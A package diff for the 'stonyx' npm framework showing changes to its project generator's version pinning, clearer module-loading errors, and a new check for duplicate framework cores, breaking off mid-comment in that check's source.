stonyx 0.2.3-beta.96 → 0.2.3-beta.98

package/dist/cli/new.d.ts

@@ -4,8 +4,49 @@ interface ModuleOption {
     dirs?: string[];
     files?: Record<string, () => string>;
 }
+export declare const MODULE_OPTIONS: ModuleOption[];
 export declare function generateDbSchema(): string;
-export declare function generatePackageJson(name: string, selectedModules: ModuleOption[]): string;
+/**
+ * The version of the `stonyx` package running this generator, read from its own
+ * `package.json` at call time.
+ *
+ * Read rather than hardcoded on purpose: a literal would be correct on the day
+ * it was written and silently stale on every day after (abofs/stonyx#113).
+ */
+export declare function readCoreVersion(): string;
+/**
+ * The npm dist-tag naming the release line a version belongs to:
+ * `0.2.3-beta.96` -> `beta`, `0.2.3-alpha.4` -> `alpha`, `0.2.2` -> `latest`.
+ *
+ * Every scaffolded `@stonyx/*` module is requested on the same line as the core
+ * that scaffolded it, so the generated project cannot mix a prerelease core with
+ * modules from the stable line (or the reverse).
+ *
+ * Throws, rather than guessing, when the prerelease identifier is not usable as a
+ * dist-tag. Returning it verbatim was only safe for *alphabetic* identifiers: npm
+ * parses a numeric or wildcard identifier as a version **range**, so `0.2.3-0`
+ * emitted `"0"` and `0.2.3-x` emitted `"x"`, both of which install with rc=0 and
+ * silently resolve the module's `latest` release -- for `@stonyx/orm` that is
+ * `0.3.1`, which pins `stonyx@0.2.3-beta.11` and so reproduces abofs/stonyx#113
+ * through a different door, with no error. `0.2.3-0` is reachable from this
+ * repo's own `publish.yml` `custom-version` dispatch input, which accepts any
+ * semver string and also expands the keyword `prerelease` to `x.y.z-0`.
+ *
+ * Two bounds remain, both loud rather than silent:
+ *
+ * - An alphabetic identifier is assumed to also be a published dist-tag name.
+ *   True for `beta` and `alpha`, the only two lines the fleet publishes; a core
+ *   released as e.g. `0.2.3-rc.1` with no `rc` dist-tag scaffolds an unresolvable
+ *   module specifier, which fails `pnpm install` with
+ *   `ERR_PNPM_NO_MATCHING_VERSION`. The tag has to exist on every package in
+ *   `MODULE_OPTIONS`, not only on the core.
+ * - On the stable line this returns `latest`, the correct tag for that line -- but
+ *   only useful once the *modules* have advanced their own `latest` tags. Today
+ *   `@stonyx/orm@latest` is `0.3.1` and pins `stonyx@0.2.3-beta.11`, so the module
+ *   `latest` tags must advance before the core's does (abofs/stonyx#115).
+ */
+export declare function releaseTagFor(version: string): string;
+export declare function generatePackageJson(name: string, selectedModules: ModuleOption[], coreVersion?: string): string;
 export declare function generateAppTs(): string;
 export declare function generateEnvironmentTs(): string;
 export declare function generateTestEnvironmentTs(): string;
@@ -14,6 +55,11 @@ export declare function generateZzExitTestTs(): string;
 export declare function generateEnvironmentExampleTs(): string;
 export declare function generateGitignore(): string;
 export declare function generateTsConfig(): string;
+/**
+ * Rejects when `pnpm install` fails, either by exiting non-zero or by failing to
+ * spawn. Exported so the rejection path is testable without a network round-trip.
+ */
+export declare function runPnpmInstall(projectDir: string): Promise<void>;
 /**
  * Write every scaffolded file to disk given a resolved project directory,
  * app name, and pre-selected module options. Factored out of `newCommand`

package/dist/cli/new.js

@@ -1,9 +1,10 @@
 import { confirm, prompt } from '@stonyx/utils/prompt';
 import { createFile, createDirectory, copyFile, fileExists } from '@stonyx/utils/file';
 import { spawn } from 'child_process';
+import { readFileSync } from 'fs';
 import path from 'path';
 import { fileURLToPath } from 'url';
-const MODULE_OPTIONS = [
+export const MODULE_OPTIONS = [
     {
         question: 'Will this project need a REST server?',
         package: '@stonyx/rest-server',
@@ -48,15 +49,128 @@ export default class DBModel extends Model {
 }
 `;
 }
-export function generatePackageJson(name, selectedModules) {
+/**
+ * The npm dist-tag that points at a package's stable release line. Only ever
+ * used as a *release line* selector for `@stonyx/*` modules (see
+ * `releaseTagFor`) -- never as the specifier for the core, which is always
+ * pinned exactly.
+ */
+const STABLE_DIST_TAG = 'latest';
+/** Absolute path to this package's own root, from both `src/` and `dist/`. */
+const packageRoot = path.resolve(path.dirname(fileURLToPath(import.meta.url)), '..', '..');
+/** A full semver version: `major.minor.patch`, optional prerelease, optional build. */
+const SEMVER = /^\d+\.\d+\.\d+(?:-[0-9A-Za-z.-]+)?(?:\+[0-9A-Za-z.-]+)?$/;
+/**
+ * A string npm accepts as a *dist-tag* and never reinterprets as a version range.
+ * npm requires a tag to be non-numeric, and `x`/`X` are semver wildcards rather
+ * than tag names, so both are rejected in `releaseTagFor`.
+ */
+const DIST_TAG = /^[A-Za-z][0-9A-Za-z-]*$/;
+/**
+ * Rejects any version this generator must not emit.
+ *
+ * `readCoreVersion` used to check only that the field was a non-empty string, so
+ * `"garbage"`, `"0.2"` and `"latest"` all flowed through to the manifest verbatim
+ * and made `releaseTagFor` fall through to `latest` -- the one specifier
+ * abofs/stonyx#113 exists to stop emitting.
+ */
+function assertVersionShape(version, source) {
+    if (typeof version !== 'string' || !version) {
+        throw new Error(`Could not read the stonyx version from ${source}`);
+    }
+    if (!SEMVER.test(version)) {
+        throw new Error(`The stonyx version from ${source} is not a semver version: "${version}"`);
+    }
+}
+/**
+ * The version of the `stonyx` package running this generator, read from its own
+ * `package.json` at call time.
+ *
+ * Read rather than hardcoded on purpose: a literal would be correct on the day
+ * it was written and silently stale on every day after (abofs/stonyx#113).
+ */
+export function readCoreVersion() {
+    const manifest = path.join(packageRoot, 'package.json');
+    const raw = readFileSync(manifest, 'utf8');
+    const version = JSON.parse(raw).version;
+    assertVersionShape(version, manifest);
+    return version;
+}
+/**
+ * The npm dist-tag naming the release line a version belongs to:
+ * `0.2.3-beta.96` -> `beta`, `0.2.3-alpha.4` -> `alpha`, `0.2.2` -> `latest`.
+ *
+ * Every scaffolded `@stonyx/*` module is requested on the same line as the core
+ * that scaffolded it, so the generated project cannot mix a prerelease core with
+ * modules from the stable line (or the reverse).
+ *
+ * Throws, rather than guessing, when the prerelease identifier is not usable as a
+ * dist-tag. Returning it verbatim was only safe for *alphabetic* identifiers: npm
+ * parses a numeric or wildcard identifier as a version **range**, so `0.2.3-0`
+ * emitted `"0"` and `0.2.3-x` emitted `"x"`, both of which install with rc=0 and
+ * silently resolve the module's `latest` release -- for `@stonyx/orm` that is
+ * `0.3.1`, which pins `stonyx@0.2.3-beta.11` and so reproduces abofs/stonyx#113
+ * through a different door, with no error. `0.2.3-0` is reachable from this
+ * repo's own `publish.yml` `custom-version` dispatch input, which accepts any
+ * semver string and also expands the keyword `prerelease` to `x.y.z-0`.
+ *
+ * Two bounds remain, both loud rather than silent:
+ *
+ * - An alphabetic identifier is assumed to also be a published dist-tag name.
+ *   True for `beta` and `alpha`, the only two lines the fleet publishes; a core
+ *   released as e.g. `0.2.3-rc.1` with no `rc` dist-tag scaffolds an unresolvable
+ *   module specifier, which fails `pnpm install` with
+ *   `ERR_PNPM_NO_MATCHING_VERSION`. The tag has to exist on every package in
+ *   `MODULE_OPTIONS`, not only on the core.
+ * - On the stable line this returns `latest`, the correct tag for that line -- but
+ *   only useful once the *modules* have advanced their own `latest` tags. Today
+ *   `@stonyx/orm@latest` is `0.3.1` and pins `stonyx@0.2.3-beta.11`, so the module
+ *   `latest` tags must advance before the core's does (abofs/stonyx#115).
+ */
+export function releaseTagFor(version) {
+    // Fail closed, not open. Without this the exported function still answered
+    // `latest` for `"garbage"`, `"0.2"`, `""` and `"latest"` itself -- the same
+    // fall-through-to-`latest` shape this change exists to remove, one level down
+    // from the emission path that `generatePackageJson` already guards.
+    assertVersionShape(version, 'the supplied version');
+    const prerelease = /^\d+\.\d+\.\d+-(.*)$/.exec(version);
+    if (!prerelease)
+        return STABLE_DIST_TAG;
+    const identifier = prerelease[1].split('.')[0];
+    if (!DIST_TAG.test(identifier) || /^[xX]$/.test(identifier)) {
+        throw new Error(`Cannot derive a dist-tag from the prerelease identifier "${identifier}" in version "${version}": ` +
+            'npm reads it as a version range, not a tag.');
+    }
+    if (identifier === STABLE_DIST_TAG) {
+        throw new Error(`A prerelease core must not request modules at "${STABLE_DIST_TAG}" (version "${version}").`);
+    }
+    return identifier;
+}
+export function generatePackageJson(name, selectedModules, coreVersion = readCoreVersion()) {
+    // Resolved first, before anything is emitted, and unconditionally -- deliberately
+    // not inside the module loop below. `releaseTagFor` asserts the version's shape as
+    // its first act, so this one call is also what stops an injected non-semver
+    // `coreVersion` from reaching the manifest verbatim.
+    //
+    // A second `assertVersionShape(coreVersion, ...)` stood at the top of this function
+    // until abofs/stonyx#118's review: deleting it left the suite green, because this
+    // call already rejects the same value on every path. It was removed rather than
+    // left as decoration. The invariant that replaces it is positional -- keep this
+    // call above the emission and the guard stays load-bearing; push it under an
+    // `if (selectedModules.length)` and the core becomes unvalidated again.
+    const moduleTag = releaseTagFor(coreVersion);
+    // The framework is a runtime dependency of the application, pinned exactly to
+    // the core that generated the project.
+    const dependencies = { stonyx: coreVersion };
     const devDependencies = {
         qunit: '^2.24.1',
-        stonyx: 'latest',
         tsx: '^4.21.0',
         typescript: '^5.8.3'
     };
+    // Modules are discovered from devDependencies (see docs/modules.md), and are
+    // requested on the core's own release line rather than at `latest`.
     for (const mod of selectedModules) {
-        devDependencies[mod.package] = 'latest';
+        devDependencies[mod.package] = moduleTag;
     }
     // Sort dependencies alphabetically
     const sorted = Object.fromEntries(Object.entries(devDependencies).sort(([a], [b]) => a.localeCompare(b)));
@@ -71,6 +185,7 @@ export function generatePackageJson(name, selectedModules) {
             start: 'stonyx serve',
             test: "NODE_ENV=test node --import tsx/esm --import ./test/setup.ts node_modules/qunit/bin/qunit.js 'test/**/*-test.ts'"
         },
+        dependencies,
         devDependencies: sorted
     }, null, 2) + '\n';
 }
@@ -191,7 +306,11 @@ export function generateTsConfig() {
         exclude: ['node_modules', 'test']
     }, null, 2) + '\n';
 }
-function runPnpmInstall(projectDir) {
+/**
+ * Rejects when `pnpm install` fails, either by exiting non-zero or by failing to
+ * spawn. Exported so the rejection path is testable without a network round-trip.
+ */
+export function runPnpmInstall(projectDir) {
     return new Promise((resolve, reject) => {
         const child = spawn('pnpm', ['install'], {
             cwd: projectDir,
@@ -285,7 +404,17 @@ export default async function newCommand({ args }) {
         await runPnpmInstall(projectDir);
     }
     catch (error) {
-        console.error('Failed to install dependencies. Run `pnpm install` manually in the project directory.');
+        // `pnpm`'s own diagnostic already reached the terminal via stdio: 'inherit'.
+        // What used to be missing is the exit code: this catch discarded `error` and
+        // fell through to the success banner, so `stonyx new` announced success and
+        // exited 0 on a project with no node_modules -- loud to a human, silent to any
+        // supervisor, CI job or wrapper reading the status.
+        console.error(error instanceof Error ? error.message : String(error));
+        console.error(`\n✗ Project "${appName}" was created, but its dependencies are NOT installed.`);
+        console.error(`\n  cd ${appName}`);
+        console.error('  pnpm install\n');
+        process.exitCode = 1;
+        return;
     }
     console.log(`\n✓ Project "${appName}" created successfully!`);
     console.log(`\n  cd ${appName}`);

package/dist/modules.js

@@ -5,7 +5,8 @@
 import { readFile } from '@stonyx/utils/file';
 import { kebabCaseToCamelCase } from '@stonyx/utils/string';
 import { mergeObject } from '@stonyx/utils/object';
-import { importConfig } from './util/import-config.js';
+import { importConfig, CONFIG_NOT_FOUND_PREFIX, CONFIG_NOT_LOADABLE_PREFIX } from './util/import-config.js';
+import { findForeignCores, duplicateCoreMessage } from './util/duplicate-core.js';
 const modulePromises = {};
 // Configure module-specific logging
 function configureLog(chronicle, module, config) {
@@ -24,6 +25,55 @@ function initializeModule(moduleName, moduleClass, modules, initPromises) {
         modulePromises[moduleName]?.resolve();
     })());
 }
+function messageOf(error) {
+    return error instanceof Error ? error.message : String(error);
+}
+/**
+ * Why the old single catch had to go (abofs/stonyx#108, invariant I2).
+ *
+ * It spanned four distinct failure modes — config absent, config present and
+ * declined, config throwing, entry point failing — and collapsed all four into
+ * one fixed claim: `Stonyx modules with async loading must have a
+ * config/environment.js file`. In the reproduction #108 was filed over, BOTH
+ * facts in that sentence were false: the named file existed and imported
+ * cleanly with nine keys, and the module named was not the module that threw.
+ * The real error reached stderr only through a bare `console.error`, unlinked
+ * from the thrown one, so a programmatic supervisor — or any log aggregator
+ * that keeps the thrown message — lost the diagnosis entirely.
+ *
+ * `CONFIG_NOT_LOADABLE_PREFIX` was exported by abofs/stonyx#105 for exactly
+ * this branch and had zero non-test importers in `src/` until now; #116
+ * corrected the doc sentence and deliberately left the code here.
+ *
+ * NOT DONE, deliberately: #108's AC1 asks that a surviving config-file message
+ * be "guarded by an `existsSync` on the module's own config/environment.js".
+ * That guard could not fail. `importConfig` throws `CONFIG_NOT_FOUND_PREFIX`
+ * only after `existsSync` has already returned false for every extension it
+ * loads AND every extension it merely detects, so an `existsSync` re-check in
+ * this branch is true by construction — a check that cannot red, which is the
+ * defect family this cluster exists to remove. The branch is keyed on the
+ * loader's own outcome instead, and the literal string is gone from `src/`
+ * altogether, which is what the grep in that AC actually measures.
+ *
+ * SCOPE: this names which STEP failed and preserves the original verbatim. It
+ * does not diagnose WHY a module's own config threw, and it cannot tell a
+ * module that ships no config from one whose install was truncated.
+ */
+function describeConfigFailure(moduleName, configBasePath, error) {
+    const message = messageOf(error);
+    if (message.startsWith(CONFIG_NOT_FOUND_PREFIX)) {
+        return new Error(`Stonyx module "${moduleName}" carries the "stonyx-async" keyword, which requires it to ship ` +
+            `default configuration, and none is installed. Looked for ${configBasePath}.ts and ` +
+            `${configBasePath}.js. This file ships inside "${moduleName}" — a missing one is a truncated ` +
+            'or corrupted install of that module, not a mistake in this app\'s own config.', { cause: error });
+    }
+    if (message.startsWith(CONFIG_NOT_LOADABLE_PREFIX)) {
+        return new Error(`Stonyx module "${moduleName}" ships default configuration this Node runtime declined to ` +
+            `load. ${message}`, { cause: error });
+    }
+    return new Error(`Stonyx module "${moduleName}" failed while loading its default configuration from ` +
+        `${configBasePath}: ${message}`, { cause: error });
+}
 export default async function loadModules(config, rootPath, chronicle) {
     const modules = [];
     const initPromises = [];
@@ -39,13 +89,17 @@ export default async function loadModules(config, rootPath, chronicle) {
         modulePromises[moduleName] = promise;
         promise.ready = new Promise(resolve => promise.resolve = resolve);
     }
-    // Standalone module configuration
-    if (Array.isArray(rootPackage.keywords) && rootPackage.keywords.includes('stonyx-module')) {
-        configureLog(chronicle, projectName, config);
-        const entryPoint = typeof rootPackage.main === 'string' ? rootPackage.main : '';
-        const { default: moduleClass } = await import(`${rootPath}/${entryPoint}`);
-        initializeModule(projectName, moduleClass, modules, initPromises);
-    }
+    // DISCOVERY, hoisted above the pre-flight.
+    //
+    // The pre-flight must check exactly what the loader loads, and no more.
+    // `@stonyx/*` is a NAME test, not a membership test: a scoped devDependency
+    // without the `stonyx-module` keyword is warned about and skipped below —
+    // never imported, never configured, incapable of registering anything on any
+    // singleton — and refusing to boot over its nested copy prescribed the MODULE
+    // AUTHOR's remedy to a package that is not a module and has no such
+    // obligation. #106 says the two predicates are different in as many words.
+    // So the keyword gate runs first and the pre-flight sees only real modules.
+    const discovered = [];
     for (const moduleName of moduleDependencies) {
         const modulePackage = await readFile(`${rootPath}/node_modules/${moduleName}/package.json`, { json: true, missingFileCallback: (_filePath) => {
                 console.warn(`Warning: Could not locate stonyx module: "${moduleName}". Module was not loaded`);
@@ -58,26 +112,65 @@ export default async function loadModules(config, rootPath, chronicle) {
             console.warn(`Warning: Stonyx modules must contain the "stonyx-module" keyword. Module was not loaded`);
             continue;
         }
+        discovered.push({
+            name: moduleName,
+            dir: `${rootPath}/node_modules/${moduleName}`,
+            package: modulePackage,
+            keywords,
+        });
+    }
+    // Pre-flight: invariant I1, "one core". Before ANY module entry point is
+    // imported, because the point of the check is the module that would NOT
+    // throw — it would load, initialise, and register its hooks on a second
+    // singleton that nobody started. See src/util/duplicate-core.ts.
+    //
+    // It runs over every discovered module, SYNC AND ASYNC ALIKE. A sync module
+    // is never imported by the loader, so its second core never announces itself
+    // — which is exactly why the mechanism is a pre-flight and not a better
+    // catch. The consequence is that `stonyx-async` no longer decides whether a
+    // duplicate core is loud: both arms are refused here, by the same check,
+    // before the keyword is ever read. docs/modules.md documents that.
+    //
+    // `console.warn` for the inconclusive probes: fail-open is the policy, but
+    // "we could not check" must be distinguishable from "we checked and it is
+    // fine". This is the file's existing idiom for a non-fatal loader advisory.
+    const foreignCores = findForeignCores(discovered.map(({ name, dir }) => ({ name, dir })), undefined, message => console.warn(message));
+    if (foreignCores.length > 0)
+        throw new Error(duplicateCoreMessage(foreignCores));
+    // Standalone module configuration
+    if (Array.isArray(rootPackage.keywords) && rootPackage.keywords.includes('stonyx-module')) {
+        configureLog(chronicle, projectName, config);
+        const entryPoint = typeof rootPackage.main === 'string' ? rootPackage.main : '';
+        const { default: moduleClass } = await import(`${rootPath}/${entryPoint}`);
+        initializeModule(projectName, moduleClass, modules, initPromises);
+    }
+    for (const { name: moduleName, package: modulePackage, keywords } of discovered) {
         if (!keywords.includes('stonyx-async')) {
             modulePromises[moduleName].resolve();
             continue;
         }
+        // Load & Configure Async Modules
+        const configBasePath = `${rootPath}/node_modules/${moduleName}/config/environment`;
+        let moduleConfig;
+        try {
+            moduleConfig = await importConfig(configBasePath);
+        }
+        catch (error) {
+            throw describeConfigFailure(moduleName, configBasePath, error);
+        }
+        const module = kebabCaseToCamelCase(moduleName.split('/').pop() ?? moduleName);
+        const userConfig = config[module] || {};
+        const finalConfig = mergeObject(moduleConfig, userConfig);
+        config[module] = finalConfig;
+        // Configure module-specific logging
+        configureLog(chronicle, module, finalConfig);
+        const entryPath = `${rootPath}/node_modules/${moduleName}/${modulePackage.main}`;
         try {
-            // Load & Configure Async Modules
-            const moduleConfig = await importConfig(`${rootPath}/node_modules/${moduleName}/config/environment`);
-            const module = kebabCaseToCamelCase(moduleName.split('/').pop() ?? moduleName);
-            const userConfig = config[module] || {};
-            const finalConfig = mergeObject(moduleConfig, userConfig);
-            config[module] = finalConfig;
-            // Configure module-specific logging
-            configureLog(chronicle, module, finalConfig);
-            const entryPoint = modulePackage.main;
-            const { default: moduleClass } = await import(`${rootPath}/node_modules/${moduleName}/${entryPoint}`);
+            const { default: moduleClass } = await import(entryPath);
             initializeModule(moduleName, moduleClass, modules, initPromises);
         }
         catch (error) {
-            console.error(error);
-            throw new Error(`Stonyx modules with async loading must have a config/environment.js file with default configurations. Module "${moduleName}" failed to load.`);
+            throw new Error(`Stonyx module "${moduleName}" failed while importing its entry point ${entryPath}: ${messageOf(error)}`, { cause: error });
         }
     }
     // Wait until all modules are initialized

package/dist/util/duplicate-core.d.ts

@@ -0,0 +1,186 @@
+/** A resolved `stonyx` package: where it physically is, and what version. */
+export interface CorePackage {
+    /** Absolute, symlink-resolved package root (the directory holding package.json). */
+    root: string;
+    version: string;
+}
+export interface ForeignCore {
+    moduleName: string;
+    moduleCore: CorePackage;
+    runningCore: CorePackage;
+}
+/**
+ * Told when the probe could not reach a conclusion.
+ *
+ * FAIL-OPEN IS THE POLICY; SILENCE IS NOT. `findForeignCores` must never invent
+ * a boot failure out of an inconclusive probe — but "we could not check" has to
+ * be distinguishable from "we checked and it is fine", because the states that
+ * fail open are exactly the states in which a genuine second core is present
+ * and unreported. Measured on trees that DO carry a second core, each of these
+ * boots clean and silent while the control throws in the same run:
+ *
+ *   - an interposed `dist/package.json`, so the running core cannot name itself
+ *   - a nested `stonyx/package.json` that is not valid JSON
+ *   - the same file at `chmod 000`
+ *
+ * A reporter can only write a line. It cannot change the outcome.
+ */
+export type InconclusiveReporter = (message: string) => void;
+/**
+ * The directories ESM consults for a bare specifier, in the order it consults
+ * them: `<d>/node_modules` for every ancestor-or-self `d` of `fromDir`.
+ *
+ * THE RESOLVER BEING MODELLED IS ESM. `loadModules` reaches every module
+ * through `await import`, so the copy of `stonyx` a module "would import" is
+ * whatever ESM's PACKAGE_RESOLVE finds — not whatever CJS finds. This function
+ * is generated rather than filtered, and that is the fix for a defect in each
+ * direction.
+ *
+ * TOO WIDE, the previous defect. The candidates used to come from
+ * `require.resolve.paths`, which is the CJS walk FOLLOWED BY the CJS global
+ * folders — `NODE_PATH`, `~/.node_modules`, `~/.node_libraries`, the node
+ * prefix. ESM ignores every one of those, so honouring them invents a
+ * "duplicate" out of an ambient environment variable that the real import never
+ * consults. This workspace exports `NODE_PATH` at a different `stonyx`
+ * (abofs/stonyx#107), so that false positive is not hypothetical: it flips a
+ * tree that boots into a hard refusal. Generating the walk REMOVES that failure
+ * mode rather than screening for it — nothing here reads the environment, so
+ * there is no list to get the screen wrong on.
+ *
+ * TOO NARROW, and this one was a SILENT MISS. WHICH CJS ENUMERATION IS MEANT
+ * IS PART OF THE CLAIM, because the two are not the same set: the walk PROPER
+ * is `Module._nodeModulePaths`, and `require.resolve.paths` is that walk
+ * FOLLOWED BY the global folders of the paragraph above. It is the walk proper
+ * that never descends into a directory already named `node_modules`. **ESM's
+ * PACKAGE_RESOLVE has no such skip.** Measured with no `NODE_PATH` at all,
+ * from a module at `<app>/node_modules/@stonyx/x`:
+ *
+ *   import.meta.resolve('stonyx') -> <app>/node_modules/node_modules/stonyx/main.js
+ *   await import('stonyx')        -> that copy
+ *   require.resolve('stonyx')     -> MODULE_NOT_FOUND
+ *
+ * A genuine second core there was missed silently. Worse, because ESM reaches
+ * the ancestor `<app>/node_modules` BEFORE `<app>`, that copy SHADOWS a correct
+ * local core at `<app>/node_modules/stonyx` while the pre-flight reported
+ * success — this file's own opening paragraph ("it loads, it initialises, it
+ * reports success, and its hooks silently never fire") surviving the check
+ * written to catch it. Isolating control, moving nothing but the directory: the
+ * same core at `<app>/node_modules/@stonyx/x/node_modules/stonyx` was REFUSED.
+ *
+ * THE SET DELTA, both directions and named per enumeration — node v24.13.0,
+ * from that same module dir. Against the WALK PROPER the difference is one
+ * directory and it is one-sided: `esm \ Module._nodeModulePaths` = exactly
+ * `<app>/node_modules/node_modules` (the miss above), and
+ * `Module._nodeModulePaths \ esm` = `[]`. Against `require.resolve.paths` the
+ * second direction is NOT empty and never was: `require.resolve.paths \ esm` =
+ * the three global folders (measured here: `~/.node_modules`,
+ * `~/.node_libraries` and the node prefix, all three absent on disk) PLUS one
+ * entry per `NODE_PATH` component, four more as this workspace exports it. That tail IS the "too wide" defect above, measured rather than
+ * argued, and it is why an unqualified "the CJS candidates are the same" is
+ * true of one enumeration and false of the other.
+ *
+ * BOUNDED BY ANCESTRY, not by a rule. `<app>/node_modules/node_modules` is a
+ * candidate because `<app>/node_modules` is an ancestor of the module dir; two
+ * levels of nesting is not a candidate, because
+ * `<app>/node_modules/node_modules` is not an ancestor of it. Measured: a core
+ * planted two levels deep resolves to the real core, and is correctly ignored.
+ *
+ * THE REJECTED ALTERNATIVE, and the correction that goes with it. While the
+ * candidates still came from `require.resolve.paths`, `Module.globalPaths` was
+ * reviewed as the screen instead of a shape test, and rejected here on typing
+ * grounds plus the claim that the two "admit the identical set". MEASURED, that
+ * claim is FALSE, and false in the direction that matters: `globalPaths` filters
+ * by STRING MEMBERSHIP, so whenever `NODE_PATH` names a directory that is also
+ * a genuine walk entry, the provenance screen drops the walk entry too. Pointed
+ * at `<app>/node_modules` with a real second core inside it:
+ *
+ *   NODE_PATH=<app>/node_modules   provenance -> no core found
+ *                                  shape      -> 0.0.0-APP-LOCAL-SECOND-CORE
+ *   NODE_PATH unset (control)      provenance -> 0.0.0-APP-LOCAL-SECOND-CORE
+ *                                  shape      -> 0.0.0-APP-LOCAL-SECOND-CORE
+ *
+ * That is a false NEGATIVE on the commonest tree there is — a second core in
+ * the app's own `node_modules` going invisible the moment a developer exports
+ * `NODE_PATH` at it. So the rejection was right and the stated reason was not:
+ * it is not an equal-but-untyped alternative, it is a narrower one that would
+ * have introduced a miss. Generating the walk retires the question entirely —
+ * there is no list to screen and no environment read — which is why neither
+ * screen survives here.
+ *
+ * ORDER IS LOAD-BEARING — it is what makes the shadowing case detectable, since
+ * the first candidate carrying a core is the one returned. It is Node's own
+ * order, verified positionally rather than assumed: a distinct core planted in
+ * each of the first four candidates and removed one at a time, `await import`
+ * selecting exactly this sequence.
+ *
+ * `fromDir` must already be realpath'd; `coreSeenBy` does that first.
+ */
+export declare function esmNodeModulesWalk(fromDir: string): string[];
+/**
+ * The nearest ancestor of `startDir` that OWNS a `package.json`, reported only
+ * if that package is `stonyx`.
+ *
+ * Stops at the first `package.json` rather than at the first one NAMED stonyx:
+ * the first is by definition the package that owns the file, and continuing
+ * past it would walk out of the resolved package and could report an unrelated
+ * ancestor — inside this repo's own worktree, that ancestor is the repo root,
+ * which IS named `stonyx`. That would make every fixture look like a match.
+ *
+ * EXPORTED FOR ITS GUARD. That paragraph is an argument that a behaviour is
+ * load-bearing, and until D15 the entire suite could not tell the two
+ * behaviours apart — a mutant that walked past a non-stonyx manifest survived
+ * every test. A docblock asserting a property with no test that can red is the
+ * defect family this cluster exists to remove, so the function is exported for
+ * one reason: so that claim can fail.
+ */
+export declare function owningCore(startDir: string, report?: InconclusiveReporter): CorePackage | null;
+/** The `stonyx` copy that is executing this code. */
+export declare function runningCore(report?: InconclusiveReporter): CorePackage | null;
+/**
+ * The `stonyx` copy a package installed at `moduleDir` would import.
+ *
+ * The candidate set is `esmNodeModulesWalk` — Node's ESM walk, generated, in
+ * Node's order — because ESM is the resolver `loadModules` actually uses. The
+ * first candidate that carries a `stonyx` package root wins, which is exactly
+ * how PACKAGE_RESOLVE picks. Manifests are read directly rather than through
+ * `require.resolve`, so a module whose nested core is present but unbuilt is
+ * still detected rather than silently skipped by an `exports` map.
+ *
+ * ONE deliberate narrowing beyond the walk: `moduleDir` is realpath'd FIRST.
+ * Under pnpm, `<app>/node_modules/@stonyx/orm` is a symlink into
+ * `.pnpm/@stonyx+orm@v/node_modules/@stonyx/orm`, and Node resolves that
+ * symlink before resolving the module's own imports. Walking the symlink path
+ * instead reads the app's flat `node_modules` and reports the running core for
+ * every module — the check would pass vacuously on exactly the installer
+ * `stonyx new` uses.
+ *
+ * Returns `null` when no copy is reachable at all — "cannot tell", handled as
+ * not-a-duplicate by `findForeignCores`. Manifests that exist but will not read
+ * go to `report`; see `InconclusiveReporter`.
+ */
+export declare function coreSeenBy(moduleDir: string, report?: InconclusiveReporter): CorePackage | null;
+/**
+ * Every discovered module that would import a DIFFERENT physical core.
+ *
+ * FAIL DIRECTION — this is the property, not an implementation detail. A
+ * module whose core cannot be resolved, and the case where the running core
+ * cannot identify itself, both report NOTHING. This guard exists to convert a
+ * silent wrong state into a loud one; it must not invent a boot failure out of
+ * an inconclusive probe. Every state it does report has two package roots in
+ * hand and has compared them.
+ */
+export declare function findForeignCores(modules: {
+    name: string;
+    dir: string;
+}[], core?: CorePackage | null | undefined, report?: InconclusiveReporter): ForeignCore[];
+/**
+ * The diagnostic. It replaces the message abofs/stonyx#108 was filed over —
+ * `Stonyx modules with async loading must have a config/environment.js file` —
+ * which named a file that was present and correct, and named a module that was
+ * not the one that failed.
+ *
+ * Per `quality.md`, the replacement states what it does NOT cover, because the
+ * message it replaces is exactly the kind of overstated claim that made the
+ * next reader stop checking.
+ */
+export declare function duplicateCoreMessage(foreign: ForeignCore[]): string;

package/dist/util/duplicate-core.js

@@ -0,0 +1,377 @@
+/**
+ * Invariant I1 of the Sprint 93 install-and-boot cluster — "one core".
+ *
+ * At `Stonyx.start()`, every discovered module must resolve the SAME physical
+ * `stonyx` package root as the running core. Otherwise the app has two
+ * framework singletons: `loadModules` runs on copy A, and a module whose own
+ * subtree carries copy B registers its config, its Chronicle types and its
+ * lifecycle hooks on B — which nobody ever `start()`ed.
+ *
+ * Why a PRE-FLIGHT and not a better `catch`. The catch only sees modules that
+ * happen to touch `Stonyx.config` at load time and therefore throw
+ * "Stonyx has not been initialized yet". A module that does not touch it at
+ * load time does not throw at all: it loads, it initialises, it reports
+ * success, and its hooks silently never fire. That failure is invisible today,
+ * and no improvement to the catch can reach it. Multiple cores is never a
+ * valid state, so it is detected up front and refused.
+ *
+ * Measured shape this exists for (abofs/stonyx#108, `stonyx new` scaffold at
+ * 0.2.3-beta.96): three distinct copies of the core on disk — `0.2.2`,
+ * `0.2.3-beta.6`, `0.2.3-beta.11` — because five sibling repos pin the core
+ * EXACTLY in their own `dependencies`, and an exact pin cannot dedupe against
+ * a sibling's different exact pin.
+ */
+import { readFileSync, realpathSync } from 'node:fs';
+import { dirname, join } from 'node:path';
+import { fileURLToPath } from 'node:url';
+/** Symlinks resolved so `/tmp/...` and `/private/tmp/...` — and pnpm's
+ * `node_modules/x -> .pnpm/x@v/node_modules/x` — compare equal. */
+function realPath(path) {
+    try {
+        return realpathSync(path);
+    }
+    catch {
+        return path;
+    }
+}
+const IGNORE = () => { };
+/**
+ * The directories ESM consults for a bare specifier, in the order it consults
+ * them: `<d>/node_modules` for every ancestor-or-self `d` of `fromDir`.
+ *
+ * THE RESOLVER BEING MODELLED IS ESM. `loadModules` reaches every module
+ * through `await import`, so the copy of `stonyx` a module "would import" is
+ * whatever ESM's PACKAGE_RESOLVE finds — not whatever CJS finds. This function
+ * is generated rather than filtered, and that is the fix for a defect in each
+ * direction.
+ *
+ * TOO WIDE, the previous defect. The candidates used to come from
+ * `require.resolve.paths`, which is the CJS walk FOLLOWED BY the CJS global
+ * folders — `NODE_PATH`, `~/.node_modules`, `~/.node_libraries`, the node
+ * prefix. ESM ignores every one of those, so honouring them invents a
+ * "duplicate" out of an ambient environment variable that the real import never
+ * consults. This workspace exports `NODE_PATH` at a different `stonyx`
+ * (abofs/stonyx#107), so that false positive is not hypothetical: it flips a
+ * tree that boots into a hard refusal. Generating the walk REMOVES that failure
+ * mode rather than screening for it — nothing here reads the environment, so
+ * there is no list to get the screen wrong on.
+ *
+ * TOO NARROW, and this one was a SILENT MISS. WHICH CJS ENUMERATION IS MEANT
+ * IS PART OF THE CLAIM, because the two are not the same set: the walk PROPER
+ * is `Module._nodeModulePaths`, and `require.resolve.paths` is that walk
+ * FOLLOWED BY the global folders of the paragraph above. It is the walk proper
